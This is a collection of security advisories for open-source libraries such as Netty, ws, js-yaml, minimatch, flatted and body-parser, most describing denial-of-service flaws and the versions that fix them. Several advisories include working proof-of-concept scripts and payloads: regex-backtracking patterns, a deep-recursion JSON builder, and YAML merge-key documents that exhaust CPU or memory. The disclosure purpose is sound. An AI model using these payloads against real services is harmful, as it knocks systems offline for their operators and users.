Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Netty is a network application framework for development of protocol servers and clients. In netty-codec-redis prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. In netty-codec-redis prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can cause DoS by sending crafted Redis payloads across multiple connections without `\r\n`. This exhausts the server's direct memory pool (OutOfDirectMemoryError), preventing legitimate connections from being processed. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In netty-codec-haproxy prior to versions 4.1.135.Final and 4.2.15.Final, when decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls `header.retainedSlice(header.readerIndex(), length)` and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.
Netty is a network application framework for development of protocol servers and clients. In netty-codec-http2 prior to versions 4.1.135.Final and 4.2.15.Final, the `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it. A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Impact: A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. Patches: Upgrade to path-to-regexp@0.1.13 Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group. Workarounds: All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+). If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
Memory Allocation with Excessive Size Value vulnerability in Apache HTTP Server's mod_http leads to denial of service via malicious HTTP requests. This issue affects Apache HTTP Server: from 2.4.17 through 2.4.67.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, RedisArrayAggregator pre-allocates ArrayList with initial capacity equal to the RESP array element count declared in an array header. That count is taken from the wire before the corresponding child messages exist. A small malicious header can claim a huge initial capacity. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame`, allowing a remote SPDY/3.1 peer to send a syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries and amplifies network input into heap growth and ordered-map insertion work. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has exceeded `maxHeaderSize` and marked the frame truncated in `SpdyFrameCodec`, allowing a remote peer to send a small compressed `HEADERS` block that expands into much larger raw header data and causes compression-amplified CPU and allocation churn. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, a remote unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in applications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`. When a `DATA` frame is processed for a stream whose decompressor has already been closed, `Http2Decompressor.decompress(...)` calls `decompressor.writeInbound(data.retain())` and does not release the retained buffer on the error path, eventually exhausting direct memory and crashing the JVM. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Final and 4.2.17.Final, io.netty.handler.codec.http.cors.CorsHandler setVaryHeader replaces application Vary headers such as Authorization or Cookie with Origin, allowing a caching proxy or CDN to reuse authenticated responses across users and disclose sensitive information. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
Uncontrolled recursion in PostgreSQL SSL and GSS negotiation allows an attacker able to connect to a PostgreSQL AF_UNIX socket to achieve sustained denial of service. If SSL and GSS are both disabled, an attacker can do the same via access to a PostgreSQL TCP socket. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
jackson-databind binds a JSON string to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) in CoreXMLDeserializers.Std._deserialize. These deserializers are registered by default with no opt-in, so a plain ObjectMapper or JsonMapper with no polymorphic typing and no special configuration reaches this path. The XML Schema lexical grammar permits numeric components of arbitrary length, which the JDK materializes through the native BigInteger(String) and BigDecimal(String) constructors, both quadratic in digit count. Because the digits sit inside a JSON string token rather than a JSON number token, jackson-core's StreamReadConstraints.maxNumberLength guard never applies; jackson's own NumberDeserializers call validateIntegerLength or validateFPLength before parsing a stringified number, but the XML datatype deserializer omits that pre-check. An unauthenticated attacker can therefore submit a single request of a few megabytes, such as a Duration value consisting of the letter P followed by several million digits and the letter Y, and force tens of seconds to several minutes of single-threaded CPU work; a handful of concurrent requests can saturate a server's worker threads. This affects com.fasterxml.jackson.core:jackson-databind from 2.0.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.18, 2.1.4, 3.0.6, and 5.0.9, expand() does not apply maxLength while constructing comma-alternative intermediate arrays or padded sequences, allowing attacker-controlled input to exhaust memory or block the event loop. The fix for CVE-2026-14257 is bypassed by the vulnerability. This issue is fixed in versions 1.1.18, 2.1.4, 3.0.6, and 5.0.9.
Browserslist is a configuration tool for sharing target browsers and Node.js versions between front-end tools. Prior to 4.28.7, normalizeStats() in node.js, reached unconditionally through getStat() and loadStat() on every browserslist() call, processes untrusted browserslist-stats.json, opts.stats, and CLI --stats data with an unguarded for...in loop and plain-object bracket access and assignment, allowing inherited Object.prototype keys including __proto__, toString, valueOf, constructor, hasOwnProperty, and isPrototypeOf to cause an uncaught TypeError or modify the prototype of the returned normalized object. This issue is fixed in version 4.28.7.
Browserslist is a configuration tool for sharing target browsers and Node.js versions between front-end tools. Prior to 4.28.7, index.js retains every distinct `(queries, context)` result in cache and every parseQueries() AST in parseCache without a size cap, TTL, or eviction, allowing an attacker who can influence repeated browserslist() query values, including valid since `<year>-<month>-<day>` queries, to bypass the caller-controlled BROWSERSLIST_DISABLE_CACHE mitigation and cause linear memory growth followed by an out-of-memory process crash. This issue is fixed in version 4.28.7.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.xml.XmlFrameDecoder.decode() failed to preserve closing-tag parser state across invocations, so an unauthenticated remote attacker could trickle-feed repeated </ sequences that repeatedly rescanned the accumulated buffer and exhausted an EventLoop thread's CPU, causing denial of service with a maxFrameLength of 1 MB. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.dns.AbstractDnsRecord, io.netty.handler.codec.dns.DefaultDnsRecordDecoder.decodeRecord(), and io.netty.handler.codec.dns.DnsCodecUtil.decompressDomainName() failed to release retained or newly allocated ByteBuf objects when IDN.toASCII() or encodeDomainName() rejected a malformed domain name, allowing unauthenticated remote DNS packets to leak direct memory incrementally until denial of service. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.18, lib/previous-map.js loadMap() passes attacker-controlled sourceMappingURL values to join(dirname(opts.from), annotation), and loadFile() permits traversed or absolute .map paths, allowing untrusted CSS processed without map: false to disclose sourcesContent from arbitrary reachable .map files through result.map. This issue is fixed in version 8.5.18.
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2, 4.3.2, and 5.4.1, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key <<. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N * K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. In v3 & v4, merge is enabled by default so the severity score is higher. This issue is fixed in versions 3.15.2, 4.3.2, and 5.4.1.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, automatic response decompression on the HTTP/1.1 path uses ChannelManager.newHttpContentDecompressor() to install Http1ContentDecompressor without a cumulative output-size limit. A hostile or compromised server, or an attacker who can alter a response in transit, can send a small gzip, deflate, or snappy response that expands across chunks until the client exhausts its heap and raises OutOfMemoryError; brotli and zstd are also affected when their optional codecs are present. In versions 3.0.8 through 3.0.10, the HTTP/2 decompressor is also unbounded, so switching protocols does not mitigate the issue on those releases. A limit applied to each decode call is insufficient because the response can be delivered as many small chunks, so the fixed implementation tracks total decompressed bytes for the whole response. This issue is fixed in versions 2.16.1 and 3.0.12.
compression is a Node.js and Express compression middleware. In versions before 1.8.2, when a client aborts the connection while a compressed response is still being sent, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. A remote unauthenticated attacker can repeatedly open requests and disconnect early, exhausting the available memory and crashing the server. All applications using compression are affected. The issue is fixed in compression 1.8.2, and users should upgrade to 1.8.2 or later.
Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1.
### Summary Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. --- ### Details The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group: ```typescript : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` ``` This produces the following regexps: | Pattern | Generated regex | |----------------------|------------------------------------------| | `*(a\|b)` | `/^(?:a\|b)*$/` | | `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` | | `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` | | `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` | These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`. The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration. Measured times via `minimatch()`: | Pattern | Input | Time | |----------------------|--------------------|------------| | `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms | | `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms | | `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms | | `*(a\|a)` | `a` x25 + `z` | ~2,000ms | Depth inflection at fixed input `a` x16 + `z`: | Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | `*(a\|b)` | 0ms | | 2 | `*(*(a\|b))` | 4ms | | 3 | `*(*(*(a\|b)))` | 270ms | | 4 | `*(*(*(*(a\|b))))` | 115,000ms | Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- verify the generated regexps and timing (standalone script)** Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`: ```javascript import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) ``` Observed output: ``` depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false ``` **Step 2 -- HTTP server (event loop starvation proof)** Save as `poc4-server.mjs`: ```javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) ``` Terminal 1 -- start the server: ``` node poc4-server.mjs ``` Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: ``` curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & ``` Terminal 3 -- send a benign request while the attack is in-flight: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" ``` **Observed output -- Terminal 2 (attack):** ``` {"result":false,"ms":"64149"} ``` **Observed output -- Terminal 3 (benign, concurrent):** ``` {"result":false,"ms":"0"} time_total: 63.022047s ``` **Terminal 1 (server log):** ``` [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false ``` The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. --- ### Impact Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. `+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). **Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
## Summary flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. ## Impact Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request. flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries. ## Proof of Concept ```javascript const flatted = require('flatted'); // Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = `{"a":"${i + 1}"}`; } arr[depth] = '{"a":"leaf"}'; const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceeded ``` ## Fix The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop. ## Affected Versions All versions prior to the PR #88 fix.
### Impact A single request can crash any application using `body-parser` with default options. When a request carries a `Content-Encoding` (for example `gzip`), `body-parser` pipes it into a decompression stream and, after reading the body, leaves that stream piped with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No authentication or matching route is required, since parsing runs before routing. ### Patches Fixed in body-parser 2.4.0 and 1.20.9. Upgrade to one of these versions. ### Workarounds Pass `inflate: false` to the body-parser middleware if the application does not need to accept compressed request bodies. This rejects encoded requests before any decompression stream is created.
## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count each merge-source mapping as one budget unit, in addition to counting its keys. ## Difference with v5 In v3 & v4, merge is enabled by default. So, the severity score is higher.
### Summary An attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError. ### Details io.netty.handler.codec.redis.RedisArrayAggregator aggregates RedisMessage parts into ArrayRedisMessage. It uses a `Deque<AggregateState>` to keep track of nested arrays. However, it does not limit the maximum depth of nested arrays. When an attacker sends a continuous stream of nested array headers (e.g., `*1\r\n*1\r\n*1\r\n...`), RedisArrayAggregator pushes a `new AggregateState` onto the stack and allocates a `new ArrayList` for each header. Because there is no depth limit, an attacker can send millions of such headers. This consumes a massive amount of heap memory for the AggregateState instances and their backing ArrayLists, eventually resulting in an OutOfMemoryError. ### Impact Denial of Service due to memory exhaustion. Any application using Netty's RedisArrayAggregator to handle untrusted Redis traffic is vulnerable.
### Impact A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. ### Patches Upgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13) Custom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. ### References - [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j) - [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/)
### Impact When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. ### Workarounds As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: ``` SslContext context = ...; SslHandler handler = context.newHandler(....); ``` to: ``` SslContext context = ...; SSLEngine engine = context.newEngine(....); SslHandler handler = new SslHandler(engine, ....); ```
### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
